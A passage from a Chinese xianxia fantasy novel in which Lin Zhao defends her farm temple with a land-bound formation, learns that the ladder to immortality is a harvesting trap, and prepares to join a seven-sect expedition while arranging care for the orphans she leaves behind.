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炎阳子脸色微变,他感到周围的火属性灵气在急速流失——不是消失,是被某种力量“压制”了,变得温顺、惰性,难以调动。
紫韵真人和石岳也有类似感受。
他们这才注意到,以晒谷观为中心,方圆十里之内,灵气流动的轨迹发生了微妙变化。不再是杂乱无章,而是像被一只无形的手梳理过,形成了一个和谐的、自成一体的循环。
在这个循环里,他们的“外来者”气息,显得格格不入。
“这是……阵法?”紫韵真人美目圆睁,“不对,没有阵旗,没有阵盘,这阵是怎么布下的?!”
“自然之阵。”林照轻声说,“以山川为阵旗,以草木为阵盘,以地脉为阵源。此阵不伤人,只护土。三位若想硬闯,可以试试——看是你们的法术快,还是这片土地的反噬快。”
她说得平静,却带着不容置疑的自信。
那是掌握了阵枢、与百里山川共鸣后,生出的底气。
炎阳子三人对视一眼,都看到对方眼中的惊疑。
他们活了几百年,见过无数阵法,却从未见过如此诡异、如此自然的阵。这阵法似乎没有边界,没有弱点,因为它本身就是这片土地的一部分。
攻击阵法,等于攻击土地。
而土地……是无法被彻底摧毁的。
就在僵持之际,天边又传来一道剑啸声。
一道青色剑光如流星般划破夜空,落在场中。剑光散去,显出两道身影——
前面是沈不言,风尘仆仆,但眼神明亮。
后面是一位青袍老者,须发皆白,面容清癯,背着一柄古朴长剑,气质出尘如云中仙鹤。
沈不言落地,先看向林照:“你没事吧?”
林照摇头,目光却落在青袍老者身上。
老者也在看她,眼神温和,却深邃如古井。他上下打量林照片刻,忽然笑了:
“像,真像。”
“像谁?”林照问。
“像老谷头年轻的时候。”老者抚须,“那股子‘我就种我的地,管你仙魔来去’的劲儿,一模一样。”
他走上前,对炎阳子三人拱手:“三位道友,好久不见。”
炎阳子三人见到老者,脸色都是一变,齐齐还礼:
“云游子前辈!”
“原来是云游剑派的掌门亲至!”
“失敬失敬!”
语气中,竟带着几分恭敬。
林照心中一动——云游子,这就是沈不言的师父?看这三人的态度,这位云游剑派的掌门,在东域的地位恐怕不低。
云游子笑呵呵地摆摆手:“什么前辈不前辈,我就是个云游四海的闲人。今日路过,听说这边热闹,来看看。”
他说得轻巧,但炎阳子三人哪敢当真。云游剑派虽然人丁稀少,但每一代掌门都是剑道宗师,实力深不可测。云游子更是成名数百年的元婴老怪,虽久不露面,余威犹在。
紫韵真人斟酌着开口:“云游子前辈,这晒谷观的林姑娘,得了天地神树,又布下这古怪大阵,不肯交出培育之法。我等只是想为东域修仙界谋一份机缘,并无恶意。”
“没有恶意?”云游子笑了,“那你们三个金丹,堵人家一个小姑娘的门,叫没有恶意?”
这话说得直白,三人都有些尴尬。
云游子不再理他们,转身看向林照,眼神变得认真:“丫头,老谷头临终前,可曾留给你一句话?”
林照想了想,点头:“他说:‘仙不在天上,在你想去的地方。’”
云游子眼中闪过追忆之色:“是了,是这句话。三十年前,我重伤垂死,他救我时,也说了一样的话。他说:‘云游子,你想去的云外,不在天上,在心里。’”
他顿了顿,声音低沉下来:“现在,我把这句话还给你。你想守的这片土地,不在脚下,在心里。只要心守得住,谁也抢不走。”
这话像一盏灯,照亮了林照心中某个模糊的角落。
她忽然明白了,为什么自己能够激活自然大阵,为什么能够成为阵枢——
不是因为她的修为,不是因为道种,甚至不是因为周言的传承。
是因为她的“心”,真的把这里当家,真的想守住这一亩三分地,守住这片麦田,这只小羊,这些平凡的人间烟火。
心定,则阵定。
心守,则土守。
她深吸一口气,对云游子躬身一礼:“晚辈明白了,多谢前辈指点。”
云游子含笑点头,又看向炎阳子三人:“三位,七日之约是玄霄阁定的,你们提前来,不合规矩。不如给我个面子,先回落星湖等着,如何?”
这话看似商量,实则不容拒绝。
炎阳子三人脸色变幻,最终还是点头:“既然云游子前辈开口,我等自然遵从。”
他们深深看了林照一眼,化作三道流光,冲天而去。
等人走远了,云游子才转头对林照说:“丫头,别高兴太早。今天我能用面子压住他们,是因为他们还没见到真正的‘好东西’。等七大宗门齐聚,湖心那株树再长几天,结出更多道种……那时候,就不是面子能解决的了。”
他看向落星湖方向,眼神深邃:“而且,我这次来,不只是为了帮你。更是为了……验证一个千年的猜测。”
“什么猜测?”林照问。
云游子没有立刻回答。他走到晒谷观院中,在那株天地树下站定,仰头看着茂密的树冠,看了很久很久。
然后,他轻声说:
“我云游剑派的祖师,就是当年镇渊子的那位剑修同伴。祖师临终前留下遗训,要后世弟子代代守护落星湖,直到‘拔剑人’出现。”
他看向林照:“你就是那个拔剑人。所以,有些真相,该让你知道了。”
“什么真相?”
云游子一字一句:
“天梯尽头,不是仙界,是……牢笼。囚禁的,是千年来所有飞升的‘仙’。而建造牢笼的人,是比仙人更古老的存在。他们需要的,不是仙人,是……肥料。”
32. 人间剑与天梯影
晒谷观的院子里,夜风穿过老槐树的枝叶,发出沙沙的响声。
云游子从怀中取出的那半截木剑,在月光下看起来平平无奇。剑身断裂处露出粗糙的木纹,像是被某种巨力硬生生拗断的。可当云游子将一缕灵气注入剑身时,木纹竟开始流动、重组,化作一幅幅微缩的阵图。
“这是我云游剑派祖师——也就是镇渊子那位剑修同伴——的遗物。”云游子声音低沉,“当年祖师与镇渊子分别时,将此剑一分为二。一半随祖师云游四海,一半埋在落星湖畔。三百年后,祖师归来取剑,剑已生根发芽,长成了一株槐树。”
他指向落星湖方向:“那就是它。”
林照抬头望去。
云游子继续催动灵气,木剑上的阵图越来越清晰。那不是什么攻击阵法,也不是防御阵法,而是一种……转换形式。
阵图中心是一座巍峨的天梯,梯身由无数细密的符文组成。每一级台阶上,都连着一根几乎看不见的丝线,丝线另一端没入虚空。而天梯顶端,不是仙界,是一片巨大的、缓缓旋转的磨盘。
“天梯阵。”云游子一字一句,“飞升者每登一级台阶,就会被抽取一丝‘道韵’——那是他毕生修行的精华。登得越高,抽得越多。等登上顶端时,整个人已如空壳。”
“那磨盘是什么?”沈不言问。
“炼化炉。”云游子眼神冰冷,“道韵被抽取后,送入磨盘炼化,转化为最精纯的‘灵源’,供养上界那些所谓的‘仙人’。而这些仙人为了维持自身不朽,需要不断汲取下界的养料。”
林照忽然想起镇渊子的记忆碎片里,那个青衣道人的叹息:“他们不是仙,是囚徒,也是看守。”
原来如此。
飞升者以为登天梯是成仙,实则是从修士变成“作物”,被收割、炼化、供养他人。而收割者,正是早年被收割的前辈。
“那人间牵挂呢?”林照问,“阵图上那些从台阶飘出的光点是什么?”
云游子手指一点,阵图放大。只见每一级台阶上,除了道韵被抽走的丝线,还有一缕缕更细、更轻的光雾飘散出来。那些光雾里,隐约可见画面:母亲的面容,故乡的炊烟,未完成的承诺,放不下的执念……
“这是飞升者割舍的‘人间牵挂’。”云游子说,“天梯要求斩断尘缘,实则是要你主动剥离这些情感。剥离后的牵挂,会被阵法收集,转化为另一种养料——‘情源’。上界仙人虽得不朽,却也失了情感能力。他们需要不断补充情源,才能维持最基本的人性感知,否则就会彻底沦为冰冷的规则化身。”
沈不言倒吸一口凉气:“所以飞升,就是把自己变成两味药?一味补修为,一味补人性?”
“正是。”云游子收回灵气,木剑恢复平静,“而且越是牵挂深重者,炼出的情源品质越高。当年祖师发现此秘后,道心险些崩溃。他找到镇渊子和周云鹤,推演三年,终于找出此阵的唯一破绽——”
他看向林照:“扎根土地的牵挂,无法被剥离。”
“因为土地本身,就是最大的牵挂。”林照喃喃道。
“对。”云游子点头,“你牵挂的若是具体的人,天梯可让你忘却;若是未了的心愿,天梯可让你看破。但你牵挂的若是这片土地本身——是春天的麦苗,夏天的雨水,秋天的落叶,冬天的积雪——这种牵挂与四季轮回、地脉呼吸融为一体,天梯便无从剥离。”
“就像你想从河里舀走一滴水容易,但想舀走整条河的‘湿润’,不可能。”沈不言悟道。
云游子赞许地看了徒弟一眼:“所以镇渊子选择种田,周云鹤选择画画,祖师选择云游——都是在用不同的方式,将牵挂深植于这片人间。”
夜更深了。
阿茸趴在林照脚边,金角在月光下泛着温润的光。它似乎听懂了,用角轻轻蹭了蹭林照的手背。
“那现在怎么办?”林照问,“七宗马上就到,他们要的是道种,是绿野。我若不给,难免一战。”
云游子还没回答,天边已传来破空之声。
不是三道流光,是七道。
赤、橙、黄、绿、青、蓝、紫,七色光芒如彩虹垂落,整齐地停在晒谷观上空。光芒收敛,露出七方人马,各着宗门服饰,气度不凡。
为首的是玄霄阁阁主凌霄子,一袭白袍,仙风道骨,手持拂尘,声音温和却传遍四野:“云游子道兄,多年不见,风采依旧。”
云游子哈哈一笑:“凌霄子,你还是这副假正经的模样。要来就来,站那么高做什么?怕踩脏了这晒谷观的土?”
这话带着刺,凌霄子却面不改色,率众落下。
七宗齐至,晒谷观前的小空地顿时显得拥挤。除了已知的赤焰谷、紫阳宗、黄沙派,还有玄霄阁、碧水门、青云门、白鹤山庄。东域修仙界有头有脸的势力,几乎全到了。
凌霄子开门见山:“林照小友,天地树乃上古神木,道种关系东域气运。玄霄阁提议,七宗共管落星湖,轮流培育道种,所得按功分配。如此可免争端,共谋大道。”
话说得漂亮,可林照通过自然大阵,清晰地感受到——玄霄阁的人群中,有三人正在暗中结印,一道隐秘的阵法悄然张开,目标直指她怀中的道种本源。
赤焰谷炎阳子则更直接:“轮流?凭什么!这树是在我东域长的,赤焰谷出力最多,该拿大头!”
他说话时,袖中火焰暗涌,显然准备随时动手强夺绿野。
可就在此时,异变突生。
炎阳子周身火焰刚起,晒谷观周围的麦田忽然无风自动。麦穗齐齐转向他的方向,一股无形的吸力传来,他凝聚的火焰灵气竟如泥牛入海,被麦田尽数吸收。
麦穗以肉眼可见的速度饱满起来,泛起淡淡金光。
“这……”炎阳子脸色大变。
紫韵真人眼中闪过异彩,却未说话。她悄悄传音给林照:“林姑娘,我紫阳宗祖师曾是镇渊子药童,留下‘以丹养地’秘法。你若信我,今夜子时,晒谷观外第三棵柳树下见。”
林照心头微动,面上不动声色。
场面一时僵持。
凌霄子见炎阳子吃瘪,眼神微沉,但依旧保持风度:“看来林小友已掌控此地阵法。也好,那我等便按规矩来——七宗各派一人,与林小友论道切磋。胜者,有资格商议道种归属。”
这提议看似公平,实则包藏祸心。林照不过筑基修为,七宗派出的至少是金丹中期,这是明摆着要车轮战耗死她。
云游子正要开口,林照却上前一步:“好。”
她看向七宗众人,声音平静:“但规矩我来定——不论道,不斗法,就比一件事:谁能让这片土地更肥沃。”
此言一出,全场哗然。
“荒唐!”炎阳子怒道,“修仙之人,岂能如凡夫俗子般耕地施肥!”
“为何不能?”林照反问,“诸位修行所用灵石,哪一块不是大地所产?所服丹药,哪一味不是草木所炼?修仙修仙,修的难道是与天地万物割裂的‘仙’?”
这话问得众人一愣。
凌霄子眯起眼:“小友倒是伶牙俐齿。但比试总要有评判标准。”
“很简单。”林照指向远处的村庄,“三日后,看哪个村的灵泉先涌,麦穗先熟。土地自会给出答案。”
这个比试方式太过离奇,七宗一时不知如何回应。
最后还是紫韵真人率先表态:“紫阳宗同意。我宗本就是以丹道济世,滋养地脉也是分内之事。”
她一开口,碧水门、青云门等几个与紫阳宗交好的宗门也相继附和。
凌霄子见大势如此,只得点头:“那便依林小友所言。三日后,见分晓。”
七宗各自散去,在落星湖畔扎营。
深夜,子时。
林照如约来到晒谷观外第三棵柳树下。紫韵真人早已等候,见她来了,也不废话,直接取出一枚玉简:“这是我宗祖师所留《地母丹经》。其中记载了十三种以丹药滋养地脉的法门,最高深者,可让荒山十年内化为灵土。”
林照接过玉简,神识一扫,果然精妙无比。但她没有立刻道谢,而是问:“真人想要什么?”
紫韵真人沉默片刻,望向东方的夜空:“林姑娘,你可知天梯每三百年现世一次?下次,就在三年后。”
“那又如何?”
“紫阳宗建宗千年,历代祖师有七人飞升。”紫韵真人声音苦涩,“可三百年前,我师尊飞升前留下本命魂灯。灯未灭,但光芒日渐黯淡,如同……被慢慢榨干的果子。”
她转头看林照:“我不想成为下一个果子。也不想我的弟子们重蹈覆辙。林姑娘,你的道与天梯相克,若你将来真能走出一条新路……请为我紫阳宗,留一条‘人间路’。”
这话说得隐晦,但林照听懂了。
紫韵真人要的不是一时的利益,是宗门未来存续的可能——一条不依赖天梯,扎根人间的修行之路。
“我答应。”林照郑重道,“只要紫阳宗不负这片土地,土地必不负紫阳宗。”
二人击掌为誓。
紫韵真人离去后,林照没有回晒谷观,而是走到麦田中央,盘膝坐下。
她将《地母丹经》与周云鹤的册子一起摊开,对照参悟。一个是从丹药角度滋养地脉,一个是从阵法角度沟通天地,两者竟有许多相通之处。
不知不觉,天快亮了。
林照忽然感应到一阵异常的灵力波动——来自玄霄阁营地。
她心念一动,通过自然大阵“看”去。只见凌霄子正率三名长老,在一处隐蔽山谷中布置复杂阵法。阵法核心,是一面刻满符文的铜镜,镜面正对落星湖方向。
“剥离禁术……”林照认出那阵法的用途。
这是要强行抽取绿野的道种本源,根本等不到三日后的比试。
她闭上眼睛,将意识沉入地脉。
百里之内,草木根系如神经网络般在她意识中展开。她找到了玄霄阁阵法与地脉的连接点——那面铜镜的底座,有三根灵钉打入地下,正在吸取地气。
林照没有切断连接,反而做了一个大胆的决定:加固它。
她以《地母丹经》中的法门,引导地脉灵气源源不断涌向那三根灵钉。灵气太多了,铜镜开始震颤,阵法运转速度骤然加快。
凌霄子大喜:“禁术提前完成了!快,对准湖心!”
铜镜射出一道白光,直冲湖心绿野。
可就在白光触及绿野的瞬间,异变再生——绿野的根系早已与整片麦田相连。白光不仅没有剥离道种,反而被根系引导,分散成千万缕细流,沿着地脉流向百里农田。
这一刻,东域大地上演了千年未见的奇景:
深夜里,无数村庄的麦田忽然泛起柔和白光。麦穗以肉眼可见的速度抽穗、灌浆、成熟,从青绿到金黄,只用了半个时辰。田边干涸的井里,涌出清甜的泉水;贫瘠的山坡上,野花一夜盛开。
村民们从睡梦中惊醒,推门见到此景,纷纷跪地叩拜,以为是土地公显灵。
而落星湖畔,玄霄阁众人脸色惨白。
铜镜因承受不住过量灵气,“咔嚓”一声碎裂。反噬之力让四名布阵者齐齐吐血,修为跌了一个小境界。
凌霄子捂住胸口,死死盯着晒谷观方向:“好一个林照……好一个自然大阵!”
这一夜,东域百里丰收。
翌日清晨,晒谷观前挤满了七宗弟子和闻讯赶来的村民。金黄的麦浪在晨风中起伏,灵泉潺潺流淌,空气中弥漫着新麦的香气。
林照在观前架起大锅,用灵泉和面,蒸了整整三百个馒头。馒头出锅时,热气腾腾,麦香扑鼻。
她将馒头分给众人。
一个赤焰谷的年轻弟子接过馒头,咬了一口,忽然愣住了。他修行五十年,吃过无数灵丹妙药,却从没尝过这样的味道——那是阳光、雨水、泥土和汗水交织出的,最朴素的人间滋味。
他眼眶一红,哽咽道:“百年修行……不如这口人间粮。”
这话说出了许多人的心声。七宗弟子中,有不少出身凡人家庭,修仙后渐断了尘缘。此刻一口馒头下肚,故乡的记忆汹涌而来,有人默默流泪,有人望乡出神。
云游子看着这一幕,对身旁的沈不言说:“看到没?这就是人间剑的第一式——炊烟剑。”
“炊烟剑?”
“剑意不在锋,在守。”云游子折下一根麦秆,以秆为剑,轻轻一划。
没有剑气,没有寒光。但麦秆划过之处,晨风变得温柔
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,阳光变得和煦,就连远处村庄升起的炊烟,都似乎更加笔直、安详。
“人间剑不斩敌,只护住这些——”云游子指向麦田、村庄、吃馒头的人,“护住一日三餐,四季轮回,生老病死,悲欢离合。护住了这些,就护住了人间的根。”
沈不言怔怔看着师父手中的麦秆,又看看那些因一口馒头而动容的同道。
忽然,他明白了。
剑心不是无情,不是斩断牵挂,是大情,是守护牵挂。
他拔出自己的剑,剑身映出朝阳,也映出远处送麦饼来的村民身影。那些身影越来越近,越来越清晰——
“林姑娘!沈仙长!刚烙的饼,趁热吃!”
王婶带着一群村民,挎着竹篮赶来。篮子里是刚出锅的麦饼,焦黄酥脆,还冒着热气。
沈不言接过一块饼,咬了一口。
就在这一瞬间,他停滞三年的剑道瓶颈,轰然破碎。
剑心通明,金丹自成。
没有雷劫,没有异象,只有一道温润的剑意从他身上散开,如春风拂过麦田,所过之处,草木欢欣。
云游子抚须大笑:“好!好一个麦饼破金丹!沈不言,你这剑道成了!”
七宗众人目瞪口呆。他们见过各种破境方式:闭关苦修、生死搏杀、丹药辅助……可从没见过,吃一口麦饼就破金丹的。
可事实就在眼前。
沈不言周身剑气圆融通透,与脚下土地隐隐共鸣——那是与林照同源,却不同道的“人间剑意”。
就在这时,异变再生。
东方天际,忽然传来沉闷的轰鸣声。那声音不是雷,更像是……大地深处的叹息。
所有人都抬头望去。
只见东域大荒方向,天地交接之处,一座巍峨山峰的虚影缓缓浮现。山峰高不知几万丈,山顶隐没在云层之上,山体流转着七彩霞光,仙鹤绕飞,灵泉垂落。
“那是……仙山?”有人颤声问。
云游子脸色凝重:“不,是‘接引仙山’。天梯现世的前兆。”
仙山虚影越来越清晰,整座山的轮廓完全显现。而在山体正中央,一道白玉阶梯的虚影,正从山顶缓缓向下延伸。
一级,两级,三级……
天梯,真的要来了。
凌霄子擦去嘴角血迹,看着仙山虚影,眼中闪过复杂神色:“三年之期……提前了。”
炎阳子也顾不得之前的狼狈,急声道:“天梯现世在即,我等还在此争夺道种?当务之急是准备飞升之事!”
“飞升?”紫韵真人冷笑,“炎阳道兄是真不知,还是装不知?”
她看向云游子:“云游子前辈,事已至此,该把真相告诉所有人了吧?”
云游子长叹一声,将那半截木剑再次取出,当众激活阵图。
天梯汲取道韵、炼化牵挂的真相,赤裸裸展现在七宗数百人面前。
死一般的寂静。
许久,碧水门掌门涩声问:“所以千年来,所有飞升的前辈……都成了养料?”
“是。”云游子答得干脆。
“那我们修行为何?”青云门主老泪纵横,“我观中祖师七人飞升,我日日焚香祷告,以为他们在仙界逍遥……原来,原来……”
信仰崩塌的声音,在人群中蔓延。
凌霄子忽然开口:“即便如此,又如何?”
众人看向他。
这位玄霄阁主挺直脊背,声音铿锵:“修仙本是逆天而行,与天争命。天梯是囚笼,那就打破它!是骗局,那就揭穿它!但若因畏惧真相就放弃前行,那与蝼蚁何异?”
他环视众人:“我提议——七宗暂罢争端,联手探索仙山。若天梯真是囚笼,便集合东域之力,斩断它!若斩不断……至少也要弄清楚,上界那些‘仙人’,到底想干什么。”
这提议太过震撼,却也点燃了众人心中的不甘。
是啊,修仙千年,难道就因为一个真相,便就此止步?
炎阳子第一个响应:“我赤焰谷同意!”
黄沙派石岳瓮声道:“算我一个。”
紫韵真人看向林照:“林姑娘,你的意思?”
林照望着东方那座越来越清晰的仙山虚影,又看看脚下这片刚刚丰收的土地。
她想起老谷头的话,想起镇渊子的选择,想起周言刻在石壁上的那行字。
“要去,可以。”她说,“但有三条规矩——”
“第一,不得伤害沿途凡人。”
“第二,所得机缘,三成反哺东域大地。”
“第三……”她顿了顿,“若真到必须抉择之时,选人间,不选仙山。”
七宗代表彼此对视,最终缓缓点头。
千年宗门,百年恩怨,在此刻暂时搁置。一个脆弱的联盟,因共同的危机和困惑,悄然结成。
夕阳西下时,七宗在晒谷观的麦场立下血誓,约定三日后共赴大荒,探仙山之秘。
众人散去后,林照独自站在麦田边。
沈不言走到她身旁,递过一块麦饼:“担心?”
“嗯。”林照接过饼,“仙山现世,天梯将至。这一去,不知多少人能回来。”
沈不言望向东方:“但总得有人去弄清楚。否则千百年后,我们的徒子徒孙,还会重复同样的悲剧。”
晚风吹过,麦浪如海。
林照咬了一口饼,麦香在口中化开。她忽然问:“沈不言,如果你登上天梯,最舍不得割断的牵挂是什么?”
沈不言想了想,指向脚下的土地:“这个。”
“太笼统了。”
“那……”他笑了,“就这口麦饼吧。要是成仙就得忘记这个味道,那仙不成也罢。”
林照也笑了。
她看向晒谷观,看向麦田,看向远处升起炊烟的村庄。
然后轻声说:“那就记住这个味道。无论走到哪里,登上多高的天梯,都别忘了——人间有一口热饭在等你回来。”
夜幕降临,仙山虚影在夜空中泛着微光,像一座遥远的灯塔,也像一座沉默的墓碑。
而东域大地上,麦浪依旧在风中沙沙作响。
那是土地在呼吸,也是人间在低语:
回来,记得回来。
33. 临行苜蓿坡
七宗血誓立下的第二日,晒谷观难得地安静下来。
林照天未亮就醒了。她轻手轻脚推开柴扉,晨雾还笼着麦田,远处村庄的鸡鸣一声接一声。阿茸从窝里抬起头,金角在晨光里泛着温润的光。
“吵醒你了?”林照蹲下摸了摸它的头。
阿茸蹭蹭她的手心,站起来抖抖毛,示意要跟她出门。
一人一羊沿着田埂走,露水打湿了裤脚。林照走到晒谷观后山那片苜蓿坡——这是老谷头生前特意种的,说苜蓿根扎得深,能固土,开的花阿茸爱吃。
坡上的苜蓿已经齐膝高,淡紫色的小花成片开着,在晨雾里像一层柔软的毯子。
林照在坡顶坐下,阿茸顺势卧在她身边。从这个角度,能看见整个晒谷观:三间瓦房,一口老井,院中那株老槐树,还有东厢房里睡得正熟几个孩子。
李虎大自己两岁,是孩子里最大的。豆苗才十岁,是老谷头五年前从山路边捡回来的弃婴。其余五个,都是这些年附近村庄送来的孤儿——父母或病故或外出谋生再无音讯,老谷头便收在观里,教他们识字、种地、做人。
林照下山这大半年,是李虎带着豆苗和其他孩子,守着这三亩麦田、一口井、六张嘴。
“这一走,不知多久能回来。”林照轻声说。
阿茸“咩”了一声,用角轻轻顶她的手。
林照从怀里掏出个粗布小包,里面是七枚新麦穗编的小坠子。每枚坠子上都用细麻绳系着不同的记号:李虎的是个“虎”字,豆苗的是朵小花,其余孩子各有各的标识。
这是她昨夜编的。
正想着,身后传来窸窣的脚步声。林照回头,见李虎揉着眼睛走来,裤腿卷得一边高一边低,脚上草鞋沾着泥。
“林照,你这么早。”李虎在她身边坐下,很自然地摸了摸阿茸的背。
“睡不着。”林照把麦穗坠子递给他,“这个给你。”
李虎接过,借着晨光仔细看,手指摩挲着那个歪歪扭扭的“虎”字,眼圈忽然红了。但他很快仰起头,用力眨眨眼:“林照,你要去那仙山,是不是?”
“嗯。”
“危险吗?”
“……有点。”
李虎沉默片刻,从怀里掏出个东西——是把镰刀,木柄磨得光滑,刀身生了锈,但刃口还锋利。这是老谷头教他割麦时用的第一把镰刀。
“这个你带着。”李虎把镰刀塞进林照手里,“老谷头说,镰刀不光能割麦,也能防身。万一……万一有人欺负你,你就亮出来。”
林照握着镰刀,木柄上还有李虎手掌的温度。她忽然想起,老谷头也送过她一把镰刀。后来那把镰刀在一次山洪中丢了,她难过了好几天。
“好,我带着。”林照郑重地把镰刀收进怀里。
这时,豆苗和其他孩子也揉着眼睛寻来了。六个半大孩子在苜蓿坡上围坐一圈,七嘴八舌地问:
“照姐,仙山远吗?”
“山上真有仙人吗?”
“仙人吃不吃馒头?”
林照一一回答,最后说:“我不在的时候,李虎就是你们的大哥。要听话,麦田要按时浇水,菜地要除草,鸡要喂,柴要劈——”
“我们知道!”孩子们齐声应道,“老谷头教过!”
豆苗把头靠在林照腿上,用手搂着阿茸脖子,不舍地说:“照姐,你要快点回来。等你回来,我给你留最大的那个南瓜。”
林照抱紧这个瘦小的身体,鼻子发酸:“好。”
晨雾渐渐散去,朝阳从东山升起,把苜蓿坡染成一片金紫。
上午,七宗代表在落星湖畔再次聚首。
这次气氛明显不同。各宗门都只带了核心弟子,营地间也不再严防死守,反而有了些走动。林照路过赤焰谷营地时,看见两个年轻弟子正蹲在地上,研究一株从麦田蔓延过来的野麦草。
“这草昨夜忽然抽穗了。”一个弟子惊奇地说,“明明不是这个季节。”
“是林姑娘那阵法的影响吧?”另一个说,“听说昨夜百里丰收,连我们营地旁那口枯井都涌水了。”
见林照走来,两人慌忙起身行礼,态度恭敬。
林照点点头,继续往湖心走。
湖心绿野经过昨夜那一遭,不但没受损,反而更加茂盛。树冠又向外延伸了丈许,枝叶间垂下的那些“道种”花苞,有几个已经微微张开,露出里面莹润的光点。
紫韵真人正在树下等她。
“林姑娘。”紫韵真人递过一枚玉符,“这是我紫阳宗的‘紫阳令’。持此令可调动我宗在东域三处别院的资源,包括灵田五十亩、丹房三间、护院弟子二十人。”
林照没接:“真人这是……”
“晒谷观那几个孩子,不能没人照应。”紫韵真人看着她,“我已传讯回宗,三日内会有一队弟子抵达,在晒谷观旁建一处‘善堂’。一来守护那六个孩子,二来……也算我紫阳宗在此地扎下一根钉子。”
这话说得坦诚。紫阳宗确实需要在这里有个据点,而照看孩子是最好的理由。
林照接过玉符:“多谢。孩子们就拜托真人了。”
“分内之事。”紫韵真人顿了顿,压低声音,“不过林姑娘,有件事你得知道——玄霄阁剥离禁术失败后,凌霄子连夜传讯回了总坛。今早,玄霄阁的‘巡天舟’已经启程,三日后会抵达。”
巡天舟是玄霄阁的镇宗法宝之一,长三十丈,可载百人,舟身刻满攻伐阵法,是真正的战争法器。
“看来凌霄子没打算真和我们合作。”林照说。
“合作是假,掌控是真。”紫韵真人冷笑,“玄霄阁千年来自诩东域正道领袖,怎会甘居人下?我估计,等到了仙山,他们必有动作。”
正说着,云游子和沈不言也到了。
云游子今日换了身粗布短打,像个老农,背上的古剑用麻布缠着。沈不言则还是那身青衣,但腰间多了个麦秆编的小篓,里面装着……馒头。
“师父说路上干粮要备足。”沈不言有些不好意思地解释,“我就蒸了一锅。”
林照失笑,接过一个馒头掰开,麦香扑鼻。她分了一半给云游子,三人就在绿野树下吃了起来。
馒头吃到一半,七宗其余代表陆续到齐。
凌霄子依旧是白袍拂尘,仙风道骨,但眼下的乌青泄露了他的疲惫。炎阳子脸色阴沉,显然还没从昨夜的反噬中恢复。石岳倒是精神不错,正跟碧水门掌门低声说着什么。
“既然人齐了,便议一议行程吧。”凌霄子开口,“仙山虚影出现在东域大荒‘葬骨原’,距此三千七百里。以我等脚程,全速赶路需五日。但大荒之中多有上古禁制、凶兽盘踞,稳妥起见,应预留十日。”
青云门主接话:“十日太长。仙山现世,天下皆闻,中域、西域那些老怪物必会赶来。去晚了,机缘尽失。”
“机缘?”云游子咬了口馒头,含糊道,“青云老道,你还真以为那是机缘?”
青云门主老脸一红:“云游子道兄,话虽如此,但仙山既现,总得去探个明白。”
“探是要探。”云游子吞下馒头,“但怎么探,谁先去,得了东西怎么分,这些得先说清楚。别到时候进了仙山,自己人先打起来。”
这话戳中了要害。七宗虽然立了血誓,但那誓言只约定“不得互相攻伐”“所得三成反哺大地”,细节处全是模糊。
一时间,众人沉默。
林照忽然开口:“我有个提议。”
所有人都看向她。
“七宗各出三人,组成二十一人的探查队。队员抽签决定,修为需在金丹以下。”林照说,“金丹以上前辈在外策应,以防仙山有变。”
“为何要金丹以下?”炎阳子皱眉。
“两个原因。”林照伸出两根手指,“第一,仙山若真是陷阱,金丹以上修为者道韵浓厚,更容易成为目标。第二……”
她顿了顿,看向在场的各宗年轻弟子:“该给年轻人一些机会了。千年来,飞升的都是老一辈,年轻人连天梯长什么样都没见过。这次,让他们自己去看看,自己去判断——那究竟是登天之路,还是囚笼之门。”
这话说得平静,却在年轻弟子中激起涟漪。
不少年轻人都抬起头,眼中闪着光。是啊,凭什么总是师父师祖们决定一切?仙路究竟如何,他们也想亲眼看看。
凌霄子深深看了林照一眼:“林小友倒是会收揽人心。”
“我说的是事实。”林照迎上他的目光,“凌霄阁主若不信,不妨问问贵宗弟子——有谁不想去仙山看看?”
玄霄阁弟子队列中,不少人动了动嘴唇,但不敢出声。
凌霄子哼了一声,没再反驳。
最终,七宗达成了临时协议:各出三名筑基期弟子(可有一名金丹初期带队),三日后在葬骨原边缘汇合。金丹以上在外围布防,同时监控是否有其他势力介入。
议定之后,众人各自散去准备。
林照回到晒谷观时,已是午后。
几个孩子正围在院中石桌旁,李虎在教豆苗写字。用的笔是树枝,墨是锅底灰调的,纸是晒干的芭蕉叶。
“……这个‘家’字,上面是屋顶,下面是猪。”李虎一笔一划地教,“老谷头说,古时候人有屋有猪,就是家了。”
豆苗握着小树枝,认真地在芭蕉叶上画,画得歪歪扭扭,但很用心。
林照站在柴扉外看了很久,才推门进去。
“照姐!”孩子们围上来。
林照从怀里掏出一个小布包,里面是她今早在苜蓿坡采的苜蓿花种子。她给每个孩子分了一小撮:“把这些种子种在你们窗台下,每天浇点水。等我回来的时候,看谁种的花开得最好。”
孩子们如获至宝,小心翼翼地把种子捧在手心。
豆苗仰起小脸:“照姐,花开的时候,你就回来了吗?”
“嗯。”林照摸摸她的头,“花开的时候,我一定回来。”
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李虎走过来,低声说:“林照,紫阳宗的仙长们下午就到了,带了好多东西。我看他们人还不错,那个带队的师姐还给几个孩子带了糖。”
“那就好。”林照心里踏实了些,“李虎,你是大哥,要照顾好几个小的。但也别太逞强,有事就找紫阳宗的仙长帮忙,知道吗?”
“知道。”李虎重重点头。
傍晚,紫阳宗宗主的车队到了。
三辆青木马车,载着建材、粮食、药材,还有十二名弟子。带队的是个二十出头的女修,名叫青禾,筑基中期修为,眉眼温和,说话轻声细语。
青禾见到林照,先行了一礼:“林师叔,奉家师之命,善堂即日动工。这十二名弟子皆精通土木之术,三日可成院。期间我们会暂住帐篷,绝不打扰晒谷观清静。”
她称林照“师叔”,是紫韵真人特意嘱咐的——以平辈论交,抬高林照地位,方便行事。
林照还礼:“有劳青禾师姐。孩子们就拜托了。”
“分内之事。”青禾微笑,从袖中取出一个小玉瓶,“这是家师让我转交的‘紫阳养元丹’,共七粒。孩子们年纪小,根基未固,服上一粒,可强身健体、蕴养灵根。”
这礼太重了。紫阳养元丹是紫阳宗秘药,对凡人孩童有洗经伐髓之效,市面上一粒价值百金。
林照本想推辞,但看着孩子们瘦小的身影,还是接下了:“代我谢过紫韵真人。”
是夜,晒谷观后院搭起了三顶帐篷,紫阳宗弟子开始丈量土地、规划院落。李虎带着孩子们帮忙递工具、送茶水,很快和这些仙长混熟了。
林照站在老槐树下,看着这一幕,心中稍安。
阿茸蹭蹭她的腿,仰头“咩”了一声。
“你也要去?”林照蹲下问。
阿茸点头,金角在月光下泛起涟漪般的光晕。
林照忽然发现,阿茸的金角上,不知何时生出了一圈极淡的纹路——像是麦穗的纹理,又像是某种古老的符文。
她伸手轻触,纹路微微发烫。
“你也在变化啊。”林照轻声说。
